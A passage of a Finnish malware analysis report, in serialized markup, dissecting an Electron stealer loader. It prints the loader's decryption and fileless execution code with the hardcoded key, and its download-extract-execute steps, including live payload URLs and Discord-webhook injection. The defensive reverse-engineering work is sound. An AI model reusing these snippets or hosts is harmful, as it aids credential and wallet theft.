obfuskoinnin vuoksi.",[526,2777,2778,2781,2782,2785],{},[579,2779,2780],{},".asar","-arkisto on käytännössä vain luettava, suorituskykyinen säiliö, joka muistuttaa ",[579,2783,2784],{},".zip","-muotoa mutta on optimoitu Electronin ajoympäristölle. Vaikka sitä ei ole salattu, se hämärtää pääsyä koodiin ja tekee staattisesta analyysistä vaikeampaa, ellei sitä pureta.",[526,2787,2788,2789,2792],{},"Purkamiseen käytin virallista ",[579,2790,2791],{},"asar","-työkalua, joka on saatavilla npm:n kautta. Vaiheet olivat:",[616,2794,2798],{"className":2795,"code":2796,"language":2797,"meta":530,"style":530},"language-bash shiki shiki-themes github-light github-dark","npm install -g asar\nasar extract app.asar extracted_app\n","bash",[579,2799,2800,2817],{"__ignoreMap":530},[1718,2801,2802,2806,2810,2814],{"class":1720,"line":1721},[1718,2803,2805],{"class":2804},"sScJk","npm",[1718,2807,2809],{"class":2808},"sZZnC"," install",[1718,2811,2813],{"class":2812},"sj4cs"," -g",[1718,2815,2816],{"class":2808}," asar\n",[1718,2818,2819,2821,2824,2827],{"class":1720,"line":531},[1718,2820,2791],{"class":2804},[1718,2822,2823],{"class":2808}," extract",[1718,2825,2826],{"class":2808}," app.asar",[1718,2828,2829],{"class":2808}," extracted_app\n",[526,2831,2832,2833,2836],{},"Yllä olevien komentojen suorittaminen purki sisällön työkansioon (",[579,2834,2835],{},"extracted_app/","), mikä paljasti varsinaisen JavaScript-sovelluskoodin. Tähän kuului:",[631,2838,2839,2860,2868],{},[634,2840,2841,647,2844,647,2847,2850,2851,2853,2854,2856,2857,2859],{},[579,2842,2843],{},"jscryter.js",[579,2845,2846],{},"input.js",[579,2848,2849],{},"obf.js",": Nämä skriptit muodostavat haittaohjelman logiikan. ",[579,2852,2843],{}," näyttää orkestroivan payloadin toimitusta, ",[579,2855,2846],{}," määrittelee konfiguraatiovakioita tai komentologiikkaa, ja ",[579,2858,2849],{}," on raskaasti obfuskoitu skripti, joka todennäköisesti sisältää ydinpayloadin logiikan.",[634,2861,2862,647,2864,2867],{},[579,2863,2774],{},[579,2865,2866],{},"package-lock.json",": Määrittelevät ajoympäristön",[634,2869,2870,2873,2874,647,2877,647,2880],{},[579,2871,2872],{},"node_modules/",": Sisältää kaikki riippuvuudet, kuten ",[579,2875,2876],{},"axios",[579,2878,2879],{},"adm-zip",[579,2881,2882],{},"child_process",[526,2884,2885,2886,2888,2889,2891],{},"Puretun sisällön avulla haittaohjelman logiikkaan saatiin täysi näkyvyys ilman suoritusta, mikä oli olennaista turvallisen reverse engineeringin kannalta. Tämä vaihe vahvisti, että ",[579,2887,606],{}," toimi puhtaasti ajonaikaisena kääreenä ",[579,2890,1082],{},"-arkistoon kätketyille haitallisille skripteille.",[748,2893,2895],{"id":2894},"_53-mitä-staattinen-analyysi-paljasti","5.3. Mitä staattinen analyysi paljasti",[526,2897,754],{},[526,2899,2900],{},"Koodia manuaalisesti tarkastelemalla vahvistin, että haittaohjelman logiikka oli täysin JavaScript-pohjaista ja suoritettiin Electronin ajoympäristössä. Skriptit oli suunniteltu tekemään seuraavaa:",[631,2902,2903,2910,2916,2919],{},[634,2904,2905,2906,2909],{},"Ladata salattu payload (",[579,2907,2908],{},"pyth.zip",") vara-URL-osoitteista",[634,2911,2912,2913,2915],{},"Purkaa arkisto ",[579,2914,2879],{},"-kirjastolla",[634,2917,2918],{},"Tehdä merkkijonokorvauksia tiettyjen tunnistetietojen tai lompakko-osoitteiden injektoimiseksi",[634,2920,2921,2922,2924,2925,1291,2928,2930],{},"Käynnistää syntynyt Python-tiedosto (",[579,2923,610],{},") kutsulla ",[579,2926,2927],{},"child_process.exec()",[579,2929,581],{},":llä",[526,2932,2933,2934,2940],{},"Ratkaisevaa on, että loader sisälsi myös logiikan, joka ",[568,2935,2936,2937,2939],{},"kopioi ",[579,2938,602],{},":n käyttäjän AppData-hakemistoon",", jos sitä ei ollut siellä jo—mikä vahvisti persistenceä ja ylläpiti tartuntasilmukkaa.",[557,2942,2944,2945,2947],{"id":2943},"_6-deep-dive-inputjs-salattu-javascript-payloadin-loader","6. Deep Dive: ",[579,2946,2846],{}," – salattu JavaScript-payloadin loader",[526,2949,563],{},[526,2951,2952,2954],{},[579,2953,2846],{}," on kriittinen komponentti analysoidussa haittaohjelmaketjussa, ja se toimii salatun JavaScript-payloadin salauksenpurku- ja suorituskeskuksena. Tämä skripti piilottaa ydintoiminnallisuutensa vahvan salauskerroksen taakse ja paljastaa käyttäytymisensä vasta ajon aikana.",[748,2956,2958],{"id":2957},"_61-salauksen-ja-salauksenpurun-mekaniikka","6.1 Salauksen ja salauksenpurun mekaniikka",[526,2960,754],{},[526,2962,2963,2964,2966],{},"Ensi silmäyksellä ",[579,2965,2846],{}," sisältää hyvin vähän luettavaa koodia. Sen ensisijainen tarkoitus on kuitenkin purkaa ja suorittaa suuri obfuskoitu JavaScript-möykky, joka on tallennettu skriptin sisälle.",[897,2968,2970],{"id":2969},"_611-salauksenpurkulogiikka","6.1.1 Salauksenpurkulogiikka",[526,2972,903],{},[526,2974,2975,2976,2979],{},"Skripti määrittelee ",[579,2977,2978],{},"decrypt()","-funktion, joka ottaa vastaan neljä parametria:",[631,2981,2982,2988,2994,3000],{},[634,2983,2984,2987],{},[579,2985,2986],{},"encdata",": Salattu Base64-koodattu data",[634,2989,2990,2993],{},[579,2991,2992],{},"masterkey",": Selkokielinen salalause",[634,2995,2996,2999],{},[579,2997,2998],{},"salt",": Kryptografinen suola (Base64)",[634,3001,3002,3005],{},[579,3003,3004],{},"iv",": AES-salauksenpurun alustusvektori (Base64)",[526,3007,3008,3009,3012],{},"Salauksenpurkuprosessi on toteutettu Node.js:n sisäänrakennetulla ",[579,3010,3011],{},"crypto","-moduulilla. Se etenee seuraavasti:",[738,3014,3015,3126,3239],{},[634,3016,3017,3020,3021,3100],{},[568,3018,3019],{},"Avaimen johtaminen:","\nSkripti johtaa 256-bittisen symmetrisen avaimen PBKDF2:lla (Password-Based Key Derivation Function 2):",[616,3022,3026],{"className":3023,"code":3024,"language":3025,"meta":530,"style":530},"language-js shiki shiki-themes github-light github-dark","const key = crypto.pbkdf2Sync(\n  masterkey,\n  Buffer.from(salt, \"base64\"),\n  100000,\n  32,\n  \"sha512\",\n);\n","js",[579,3027,3028,3050,3055,3072,3080,3087,3094],{"__ignoreMap":530},[1718,3029,3030,3034,3037,3040,3044,3047],{"class":1720,"line":1721},[1718,3031,3033],{"class":3032},"szBVR","const",[1718,3035,3036],{"class":2812}," key",[1718,3038,3039],{"class":3032}," =",[1718,3041,3043],{"class":3042},"sVt8B"," crypto.",[1718,3045,3046],{"class":2804},"pbkdf2Sync",[1718,3048,3049],{"class":3042},"(\n",[1718,3051,3052],{"class":1720,"line":531},[1718,3053,3054],{"class":3042},"  masterkey,\n",[1718,3056,3057,3060,3063,3066,3069],{"class":1720,"line":2102},[1718,3058,3059],{"class":3042},"  Buffer.",[1718,3061,3062],{"class":2804},"from",[1718,3064,3065],{"class":3042},"(salt, ",[1718,3067,3068],{"class":2808},"\"base64\"",[1718,3070,3071],{"class":3042},"),\n",[1718,3073,3074,3077],{"class":1720,"line":2108},[1718,3075,3076],{"class":2812},"  100000",[1718,3078,3079],{"class":3042},",\n",[1718,3081,3082,3085],{"class":1720,"line":2432},[1718,3083,3084],{"class":2812},"  32",[1718,3086,3079],{"class":3042},[1718,3088,3089,3092],{"class":1720,"line":2438},[1718,3090,3091],{"class":2808},"  \"sha512\"",[1718,3093,3079],{"class":3042},[1718,3095,3097],{"class":1720,"line":3096},7,[1718,3098,3099],{"class":3042},");\n",[631,3101,3102,3108,3114,3120],{},[634,3103,3104,3107],{},[568,3105,3106],{},"Tiivistefunktio:"," SHA-512",[634,3109,3110,3113],{},[568,3111,3112],{},"Iteraatiot:"," 100 000",[634,3115,3116,3119],{},[568,3117,3118],{},"Avaimen pituus:"," 32 tavua (256 bittiä)",[634,3121,3122,3125],{},[568,3123,3124],{},"Suola:"," Annetaan Base64-dekoodattuna syötteenä",[634,3127,3128,3131,3132,3182,3184,3185],{},[568,3129,3130],{},"AES-256-CBC-salauksen purku:","\nJohdettua avainta käytetään sen jälkeen AES-purkuolion luomiseen:",[616,3133,3135],{"className":3023,"code":3134,"language":3025,"meta":530,"style":530},"const decipher = crypto.createDecipheriv(\n  \"aes-256-cbc\",\n  key,\n  Buffer.from(iv, \"base64\"),\n);\n",[579,3136,3137,3153,3160,3165,3178],{"__ignoreMap":530},[1718,3138,3139,3141,3144,3146,3148,3151],{"class":1720,"line":1721},[1718,3140,3033],{"class":3032},[1718,3142,3143],{"class":2812}," decipher",[1718,3145,3039],{"class":3032},[1718,3147,3043],{"class":3042},[1718,3149,3150],{"class":2804},"createDecipheriv",[1718,3152,3049],{"class":3042},[1718,3154,3155,3158],{"class":1720,"line":531},[1718,3156,3157],{"class":2808},"  \"aes-256-cbc\"",[1718,3159,3079],{"class":3042},[1718,3161,3162],{"class":1720,"line":2102},[1718,3163,3164],{"class":3042},"  key,\n",[1718,3166,3167,3169,3171,3174,3176],{"class":1720,"line":2108},[1718,3168,3059],{"class":3042},[1718,3170,3062],{"class":2804},[1718,3172,3173],{"class":3042},"(iv, ",[1718,3175,3068],{"class":2808},[1718,3177,3071],{"class":3042},[1718,3179,3180],{"class":1720,"line":2432},[1718,3181,3099],{"class":3042},[728,3183],{},"Salattu payload puretaan tavanomaisessa CBC-tilassa (Cipher Block Chaining):",[616,3186,3188],{"className":3023,"code":3187,"language":3025,"meta":530,"style":530},"let decrypted = decipher.update(encdata, \"base64\", \"utf8\");\ndecrypted += decipher.final(\"utf8\");\n",[579,3189,3190,3219],{"__ignoreMap":530},[1718,3191,3192,3195,3198,3201,3204,3207,3210,3212,3214,3217],{"class":1720,"line":1721},[1718,3193,3194],{"class":3032},"let",[1718,3196,3197],{"class":3042}," decrypted ",[1718,3199,3200],{"class":3032},"=",[1718,3202,3203],{"class":3042}," decipher.",[1718,3205,3206],{"class":2804},"update",[1718,3208,3209],{"class":3042},"(encdata, ",[1718,3211,3068],{"class":2808},[1718,3213,647],{"class":3042},[1718,3215,3216],{"class":2808},"\"utf8\"",[1718,3218,3099],{"class":3042},[1718,3220,3221,3224,3227,3229,3232,3235,3237],{"class":1720,"line":531},[1718,3222,3223],{"class":3042},"decrypted ",[1718,3225,3226],{"class":3032},"+=",[1718,3228,3203],{"class":3042},[1718,3230,3231],{"class":2804},"final",[1718,3233,3234],{"class":3042},"(",[1718,3236,3216],{"class":2808},[1718,3238,3099],{"class":3042},[634,3240,3241,3244,3245,3248,3249,3270,3272],{},[568,3242,3243],{},"Dynaaminen suoritus:","\nPurettua JavaScript-koodia ei koskaan kirjoiteta levylle. Sen sijaan se suoritetaan dynaamisesti muistissa ",[579,3246,3247],{},"Function","-konstruktorilla:",[616,3250,3252],{"className":3023,"code":3251,"language":3025,"meta":530,"style":530},"new Function(\"require\", decrypted)(require);\n",[579,3253,3254],{"__ignoreMap":530},[1718,3255,3256,3259,3262,3264,3267],{"class":1720,"line":1721},[1718,3257,3258],{"class":3032},"new",[1718,3260,3261],{"class":2804}," Function",[1718,3263,3234],{"class":3042},[1718,3265,3266],{"class":2808},"\"require\"",[1718,3268,3269],{"class":3042},", decrypted)(require);\n",[728,3271],{},"Tämä tekniikka mahdollistaa tiedostottoman suorituksen ja vähentää havaitsemisen todennäköisyyttä perinteisissä virustorjuntamoottoreissa, jotka nojaavat levyn skannaamiseen.",[526,3274,3275],{},"Tämä lähestymistapa osoittaa kerroksellista puolustusta reverse engineeringiä vastaan yhdistämällä avaimen johtamisen, vahvan salauksen ja dynaamisen muistinsisäisen suorituksen.",[526,3277,3278],{},[568,3279,3280],{},"Avainmateriaali ja salattu data",[526,3282,3283],{},"Skripti sisältää seuraavat kovakoodatut syötteet:",[631,3285,3286,3292,3300,3308],{},[634,3287,3288,3291],{},[568,3289,3290],{},"Salattu data:"," Valtava Base64-koodattu möykky",[634,3293,3294,2063,3297],{},[568,3295,3296],{},"Pääavain:",[579,3298,3299],{},"9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs",[634,3301,3302,2063,3304,3307],{},[568,3303,3124],{},[579,3305,3306],{},"maXtklzMEZRY9dbul/XPSw=="," (Base64-koodattu)",[634,3309,3310,2063,3313,3307],{},[568,3311,3312],{},"IV:",[579,3314,3315],{},"HwK6sOz7FBbL+YsrOxtYUg==",[526,3317,3318,3319,3321],{},"Nämä kaikki on upotettu suoraan ",[579,3320,2846],{},":n lähdekoodiin.",[748,3323,3325],{"id":3324},"_62-payloadin-käyttäytyminen-salauksen-purun-jälkeen","6.2 Payloadin käyttäytyminen salauksen purun jälkeen",[526,3327,754],{},[526,3329,3330],{},"Kun salaus on purettu, upotetusta payloadista tulee täysimittainen JavaScript-ohjelma, joka suorittaa seuraavat haitalliset toimet:",[897,3332,3334],{"id":3333},"_621-ympäristön-valmistelu","6.2.1 Ympäristön valmistelu",[526,3336,903],{},[526,3338,3339],{},"Purettu payload aloittaa pystyttämällä suoritusympäristönsä Node.js:n sisäänrakennetuilla moduuleilla. Tämä valmisteluvaihe varmistaa, että kaikki tarvittavat polut ja työhakemistot on selkeästi määritelty ennen kuin haitallista toimintaa tapahtuu.",[631,3341,3342,3375],{},[634,3343,3344,3347,3348,3351,3352],{},[568,3345,3346],{},"Väliaikaishakemiston selvittäminen:","\nHaittaohjelma kutsuu ",[579,3349,3350],{},"os.tmpdir()","-funktiota selvittääkseen polun järjestelmän nykyiseen väliaikaishakemistoon. Tämä on yleinen taktiikka haittaohjelmille, sillä väliaikaiskansiot ovat tyypillisesti kirjoitettavia ja päätelaitesuojaukset tarkkailevat niitä vähemmän.",[616,3353,3355],{"className":3023,"code":3354,"language":3025,"meta":530,"style":530},"const tempDir = os.tmpdir();\n",[579,3356,3357],{"__ignoreMap":530},[1718,3358,3359,3361,3364,3366,3369,3372],{"class":1720,"line":1721},[1718,3360,3033],{"class":3032},[1718,3362,3363],{"class":2812}," tempDir",[1718,3365,3039],{"class":3032},[1718,3367,3368],{"class":3042}," os.",[1718,3370,3371],{"class":2804},"tmpdir",[1718,3373,3374],{"class":3042},"();\n",[634,3376,3377,3380,3381,3394],{},[568,3378,3379],{},"Polkujen rakentaminen:","\nSkripti rakentaa sen jälkeen absoluuttiset polut kahdelle tärkeälle tiedostolle:",[631,3382,3383,3388],{},[634,3384,3385,3387],{},[579,3386,2908],{},": Arkisto, joka sisältää varsinaisen toisen vaiheen Python-pohjaisen stealerin",[634,3389,3390,3393],{},[579,3391,3392],{},"bnd.exe",": Valinnainen suoritettava tiedosto, joka voi toimia persistence-takaovena tai lisäpayloadina",[616,3395,3397],{"className":3023,"code":3396,"language":3025,"meta":530,"style":530},"const tempFile = path.join(tempDir, \"pyth.zip\");\nconst binderFile = path.join(tempDir, \"bnd.exe\");\n",[579,3398,3399,3422],{"__ignoreMap":530},[1718,3400,3401,3403,3406,3408,3411,3414,3417,3420],{"class":1720,"line":1721},[1718,3402,3033],{"class":3032},[1718,3404,3405],{"class":2812}," tempFile",[1718,3407,3039],{"class":3032},[1718,3409,3410],{"class":3042}," path.",[1718,3412,3413],{"class":2804},"join",[1718,3415,3416],{"class":3042},"(tempDir, ",[1718,3418,3419],{"class":2808},"\"pyth.zip\"",[1718,3421,3099],{"class":3042},[1718,3423,3424,3426,3429,3431,3433,3435,3437,3440],{"class":1720,"line":531},[1718,3425,3033],{"class":3032},[1718,3427,3428],{"class":2812}," binderFile",[1718,3430,3039],{"class":3032},[1718,3432,3410],{"class":3042},[1718,3434,3413],{"class":2804},[1718,3436,3416],{"class":3042},[1718,3438,3439],{"class":2808},"\"bnd.exe\"",[1718,3441,3099],{"class":3042},[526,3443,3444],{},"Tämä polkujen pystytys abstrahoi käyttöjärjestelmäkohtaisen polkusyntaksin ja antaa haittaohjelman toimia saumattomasti missä tahansa Windows-järjestelmässä. Se luo myös pohjan seuraaville tiedoston lataus- ja purkumekanismeille.",[897,3446,3448],{"id":3447},"_622-payloadin-lataus-varastrategian-kanssa","6.2.2 Payloadin lataus varastrategian kanssa",[526,3450,903],{},[526,3452,3453],{},"Puretun JavaScript-payloadin toinen päävaihe käsittää haitallisen ZIP-arkiston lataamisen etälähteistä. Tämä mekanismi on suunniteltu monitasoisella varastrategialla kestävyyden ja saatavuuden parantamiseksi.",[631,3455,3456,3488,3573,3607],{},[634,3457,3458,3461,3462,3482,3484,3485,3487],{},[568,3459,3460],{},"Ensisijaisen linkin selvitys Rentry.co:n kautta","\nSkripti aloittaa selvittämällä dynaamisen URL-osoitteen tekstin jakopalvelusta. Se lähettää GET-pyynnön osoitteeseen:",[616,3463,3465],{"className":3023,"code":3464,"language":3025,"meta":530,"style":530},"const url = \"https://rentry.co/7vzd22fg36hfdd33/raw\";\n",[579,3466,3467],{"__ignoreMap":530},[1718,3468,3469,3471,3474,3476,3479],{"class":1720,"line":1721},[1718,3470,3033],{"class":3032},[1718,3472,3473],{"class":2812}," url",[1718,3475,3039],{"class":3032},[1718,3477,3478],{"class":2808}," \"https://rentry.co/7vzd22fg36hfdd33/raw\"",[1718,3480,3481],{"class":3042},";\n",[728,3483],{},"Tämä palauttaa selkokielisen URL-merkkijonon, joka osoittaa ",[579,3486,2908],{},"-arkiston todelliseen sijaintiin. Tällaisen uudelleenohjausmekanismin käyttö on yleinen obfuskointitekniikka—se abstrahoi todellisen haitallisen URL-osoitteen ja vaikeuttaa staattista havaitsemista.",[634,3489,3490,3493,3494,3526,3528,3529,3531,3532,3566,3568,3569,3572],{},[568,3491,3492],{},"Latauksen suoritus","\nSelvitettyä URL-osoitetta pyydetään sen jälkeen Axios-kirjastolla vastausvirtana:",[616,3495,3497],{"className":3023,"code":3496,"language":3025,"meta":530,"style":530},"const fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\n",[579,3498,3499],{"__ignoreMap":530},[1718,3500,3501,3503,3506,3508,3511,3514,3517,3520,3523],{"class":1720,"line":1721},[1718,3502,3033],{"class":3032},[1718,3504,3505],{"class":2812}," fileResponse",[1718,3507,3039],{"class":3032},[1718,3509,3510],{"class":3032}," await",[1718,3512,3513],{"class":3042}," axios.",[1718,3515,3516],{"class":2804},"get",[1718,3518,3519],{"class":3042},"(fileUrl, { responseType: ",[1718,3521,3522],{"class":2808},"\"stream\"",[1718,3524,3525],{"class":3042}," });\n",[728,3527],{},"Tiedosto kirjoitetaan levylle nimellä ",[579,3530,2908],{}," järjestelmän väliaikaishakemistoon:",[616,3533,3535],{"className":3023,"code":3534,"language":3025,"meta":530,"style":530},"const writer = fs.createWriteStream(tempFile);\nfileResponse.data.pipe(writer);\n",[579,3536,3537,3555],{"__ignoreMap":530},[1718,3538,3539,3541,3544,3546,3549,3552],{"class":1720,"line":1721},[1718,3540,3033],{"class":3032},[1718,3542,3543],{"class":2812}," writer",[1718,3545,3039],{"class":3032},[1718,3547,3548],{"class":3042}," fs.",[1718,3550,3551],{"class":2804},"createWriteStream",[1718,3553,3554],{"class":3042},"(tempFile);\n",[1718,3556,3557,3560,3563],{"class":1720,"line":531},[1718,3558,3559],{"class":3042},"fileResponse.data.",[1718,3561,3562],{"class":2804},"pipe",[1718,3564,3565],{"class":3042},"(writer);\n",[728,3567],{},"Tämä lataus on kääritty ",[579,3570,3571],{},"Promise","-olioon, jotta se saadaan varmasti valmiiksi ennen kuin jatkologiikkaa suoritetaan.",[634,3574,3575,3578,3579,3604,3606],{},[568,3576,3577],{},"Vara-URL-osoitteet","\nJos Rentry-pohjainen linkki epäonnistuu, skripti yrittää kovakoodattuja varasijainteja:",[616,3580,3582],{"className":3023,"code":3581,"language":3025,"meta":530,"style":530},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip\nhttps://cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[579,3583,3584,3595],{"__ignoreMap":530},[1718,3585,3586,3589,3591],{"class":1720,"line":1721},[1718,3587,3588],{"class":2804},"https",[1718,3590,1208],{"class":3042},[1718,3592,3594],{"class":3593},"sJ8bj","//cosmicdust.zip/.well-known/pki-validation/pyth.zip\n",[1718,3596,3597,3599,3601],{"class":1720,"line":531},[1718,3598,3588],{"class":2804},[1718,3600,1208],{"class":3042},[1718,3602,3603],{"class":3593},"//cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[728,3605],{},"Nämä verkkotunnukset on rakennettu näyttämään osilta tavanomaisia TLS-validointikansioita, mahdollisesti matkien Let's Encryptin tai verkkotunnusvalidoinnin polkuja epäilyjen vähentämiseksi. Jokainen varasijainti yritetään uudelleen samalla virtaus- ja tiedostonkirjoituslogiikalla.",[634,3608,3609,3612,3613,3616],{},[568,3610,3611],{},"Kestävyys ja obfuskointi","\nTämä varamekanismi varmistaa, että haittaohjelmalla on useita hakupolkuja toisen vaiheen payloadilleen. Dynaamisen osoittimen (",[579,3614,3615],{},"rentry.co",") ja useiden varapeilien käyttö tekee haittaohjelmasta kestävämmän alasajoja, estoja ja DNS-sinkholeja vastaan.",[526,3618,3619],{},"Tämä vaihe osoittaa haittaohjelman tekijöiden huolellista operatiivista suunnittelua, jossa hyödynnetään kerroksellista redundanssia ja hyvin naamioitua toimitusinfrastruktuuria.",[631,3621,3622,3628],{},[634,3623,3624,3625,3627],{},"Lataa ",[579,3626,2908],{},":n selvitetystä URL-osoitteesta",[634,3629,3630,3631],{},"Jos se epäonnistuu, se yrittää varapeilejä:\n",[631,3632,3633,3638],{},[634,3634,3635],{},[579,3636,3637],{},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip",[634,3639,3640],{},[579,3641,3642],{},"https://cosmoplanets.net/well-known/pki-validation/pyth.zip",[897,3644,3646],{"id":3645},"_623-payloadin-purkaminen-ja-manipulointi","6.2.3 Payloadin purkaminen ja manipulointi",[526,3648,903],{},[526,3650,1119,3651,3653,3654,3656],{},[579,3652,2908],{},"-arkisto on ladattu ja tallennettu levylle onnistuneesti, haittaohjelma purkaa sen sisällön ja valmistelee sen suoritusta varten. Tämä tehdään ",[579,3655,2879],{},"-Node.js-kirjastolla, joka mahdollistaa ZIP-tiedostojen ohjelmallisen käsittelyn.",[631,3658,3659,3707,3734],{},[634,3660,3661,3664,3701,3703,3704,3706],{},[568,3662,3663],{},"ZIP-purku:",[616,3665,3667],{"className":3023,"code":3666,"language":3025,"meta":530,"style":530},"const zip = new AdmZip(tempFile);\nzip.extractAllTo(tempDir, true);\n",[579,3668,3669,3686],{"__ignoreMap":530},[1718,3670,3671,3673,3676,3678,3681,3684],{"class":1720,"line":1721},[1718,3672,3033],{"class":3032},[1718,3674,3675],{"class":2812}," zip",[1718,3677,3039],{"class":3032},[1718,3679,3680],{"class":3032}," new",[1718,3682,3683],{"class":2804}," AdmZip",[1718,3685,3554],{"class":3042},[1718,3687,3688,3691,3694,3696,3699],{"class":1720,"line":531},[1718,3689,3690],{"class":3042},"zip.",[1718,3692,3693],{"class":2804},"extractAllTo",[1718,3695,3416],{"class":3042},[1718,3697,3698],{"class":2812},"true",[1718,3700,3099],{"class":3042},[728,3702],{},"Tämä purkaa arkiston koko sisällön järjestelmän väliaikaishakemistoon. ",[579,3705,3698],{},"-lippu varmistaa olemassa olevien tiedostojen ylikirjoittamisen.",[634,3708,3709,3712,3713,3715,3716],{},[568,3710,3711],{},"Arkiston sisältö:","\nArkisto ",[579,3714,2908],{}," sisältää täysin niputetun Python-projektin, johon kuuluu:",[631,3717,3718,3721,3724],{},[634,3719,3720],{},"Hakemistorakenne, joka muistuttaa laillista Python-pakettia",[634,3722,3723],{},"Useita Python-moduuleja ja riippuvuuksia",[634,3725,3726,3727,3729,3730,3733],{},"Avaintiedosto ",[579,3728,610],{}," sijainnissa ",[579,3731,3732],{},"Crypto/Util/astor.py",", joka on varsinainen stealer-payload",[634,3735,3736,3739,3740,3742,3743,3763],{},[568,3737,3738],{},"Paikanvarausmerkkien korvaus:","\nHaittaohjelma korvaa dynaamisesti ennalta määritellyt paikanvarausmerkit ",[579,3741,610],{},":n sisällä injektoidakseen hyökkääjän hallitsemaa konfiguraatiodataa, kuten:",[631,3744,3745,3748,3751,3757],{},[634,3746,3747],{},"Discord-webhookin URL-osoitteen",[634,3749,3750],{},"Kryptovaluuttaosoitteita (BTC, ETH, DOGE, LTC, XMR jne.)",[634,3752,3753,3754,1149],{},"Käyttäjätunnisteen (",[579,3755,3756],{},"%USERID%",[634,3758,3759,3760,1149],{},"Virhetilalipun (",[579,3761,3762],{},"%ERRORSTATUS%",[616,3764,3766],{"className":3023,"code":3765,"language":3025,"meta":530,"style":530},"fs.readFile(extractedDir + \"\\Crypto\\Util\\astor.py\", 'utf8', (err, data) => {\n  let updatedFile = data\n    .replace(\"%DISCORD%\", \u003Cwebhook>)\n    .replace(\"%ADDRESSBTC%\", \u003Cbtc_address>)\n    ...\n    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n\n  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n});\n",[579,3767,3768,3829,3842,3865,3875,3880,3885,3890,3896],{"__ignoreMap":530},[1718,3769,3770,3773,3776,3779,3782,3785,3788,3791,3794,3797,3800,3803,3805,3808,3811,3815,3817,3820,3823,3826],{"class":1720,"line":1721},[1718,3771,3772],{"class":3042},"fs.",[1718,3774,3775],{"class":2804},"readFile",[1718,3777,3778],{"class":3042},"(extractedDir ",[1718,3780,3781],{"class":3032},"+",[1718,3783,3784],{"class":2808}," \"",[1718,3786,3787],{"class":2812},"\\C",[1718,3789,3790],{"class":2808},"rypto",[1718,3792,3793],{"class":2812},"\\U",[1718,3795,3796],{"class":2808},"til",[1718,3798,3799],{"class":2812},"\\a",[1718,3801,3802],{"class":2808},"stor.py\"",[1718,3804,647],{"class":3042},[1718,3806,3807],{"class":2808},"'utf8'",[1718,3809,3810],{"class":3042},", (",[1718,3812,3814],{"class":3813},"s4XuR","err",[1718,3816,647],{"class":3042},[1718,3818,3819],{"class":3813},"data",[1718,3821,3822],{"class":3042},") ",[1718,3824,3825],{"class":3032},"=>",[1718,3827,3828],{"class":3042}," {\n",[1718,3830,3831,3834,3837,3839],{"class":1720,"line":531},[1718,3832,3833],{"class":3032},"  let",[1718,3835,3836],{"class":3042}," updatedFile ",[1718,3838,3200],{"class":3032},[1718,3840,3841],{"class":3042}," data\n",[1718,3843,3844,3847,3850,3852,3855,3858,3862],{"class":1720,"line":2102},[1718,3845,3846],{"class":3042},"    .",[1718,3848,3849],{"class":2804},"replace",[1718,3851,3234],{"class":3042},[1718,3853,3854],{"class":2808},"\"%DISCORD%\"",[1718,3856,3857],{"class":3042},", \u003C",[1718,3859,3861],{"class":3860},"s9eBZ","webhook",[1718,3863,3864],{"class":3042},">)\n",[1718,3866,3867,3870,3873],{"class":1720,"line":2108},[1718,3868,3869],{"class":3042},"    .replace(\"%ADDRESSBTC%\", \u003C",[1718,3871,3872],{"class":2812},"btc_address",[1718,3874,3864],{"class":3042},[1718,3876,3877],{"class":1720,"line":2432},[1718,3878,3879],{"class":3042},"    ...\n",[1718,3881,3882],{"class":1720,"line":2438},[1718,3883,3884],{"class":3042},"    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n",[1718,3886,3887],{"class":1720,"line":3096},[1718,3888,3889],{"emptyLinePlaceholder":325},"\n",[1718,3891,3893],{"class":1720,"line":3892},8,[1718,3894,3895],{"class":3042},"  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n",[1718,3897,3899],{"class":1720,"line":3898},9,[1718,3900,3901],{"class":3042},"});\n",[526,3903,3904],{},"Tämä dynaaminen manipulointivaihe on olennainen. Viivyttämällä hyökkääjän hallitsemien arvojen lisäämistä ajon hetkeen payload välttää staattisen havaitsemisen ja antaa operaattorin mukauttaa kohteita ja exfiltraation päätepisteitä paketoimatta arkistoa uudelleen.",[631,3906,3907],{},[634,3908,3909,3910,3912,3913],{},"Korvaa ",[579,3911,610],{},":n paikanvarausmerkkijonot:\n",[631,3914,3915,3921,3931],{},[634,3916,3917,3918],{},"Discord-webhook: ",[579,3919,3920],{},"%DISCORD%",[634,3922,3923,3924,647,3927,3930],{},"Lompakko-osoitteet: ",[579,3925,3926],{},"%ADDRESSBTC%",[579,3928,3929],{},"%ADDRESSETH%"," jne.",[634,3932,3933],{},"Käyttäjätunnus ja virheliput",[897,3935,3937],{"id":3936},"_624-haittaohjelman-suoritus","6.2.4 Haittaohjelman suoritus",[526,3939,903],{},[631,3941,3942],{},[634,3943,3944,3945],{},"Kun paikanvarausmerkkien injektointi astor.py:hyn on valmis, haittaohjelma käynnistää stealerin suorituksen järjestelmäkutsulla",[616,3946,3948],{"className":3023,"code":3947,"language":3025,"meta":530,"style":530},"exec(\"python.exe Crypto\\\\Util\\\\astor.py\");\n",[579,3949,3950],{"__ignoreMap":530},[1718,3951,3952,3955,3957,3960,3963,3966,3968,3971],{"class":1720,"line":1721},[1718,3953,3954],{"class":2804},"exec",[1718,3956,3234],{"class":3042},[1718,3958,3959],{"class":2808},"\"python.exe Crypto",[1718,3961,3962],{"class":2812},"\\\\",[1718,3964,3965],{"class":2808},"Util",[1718,3967,3962],{"class":2812},[1718,3969,3970],{"class":2808},"astor.py\"",[1718,3972,3099],{"class":3042},[526,3974,3975],{},"Tämä komento suoritetaan Node.js:n child_process.exec-funktiolla, ja se käynnistää upotetun Python-payloadin erillisessä prosessissa. Tämä nimenomainen suorituskuvio—python.exe argumentilla Crypto\\Util\\astor.py—havaittiin Microsoft Defender for Endpointin keräämässä telemetriadatassa, mikä tekee siitä luotettavan havaintoartefaktin. Käytännössä suoritusketju näyttää tältä:",[526,3977,3978],{},"Koko haittaohjelman suoritusketju, sellaisena kuin se havaittiin Microsoft Defender for 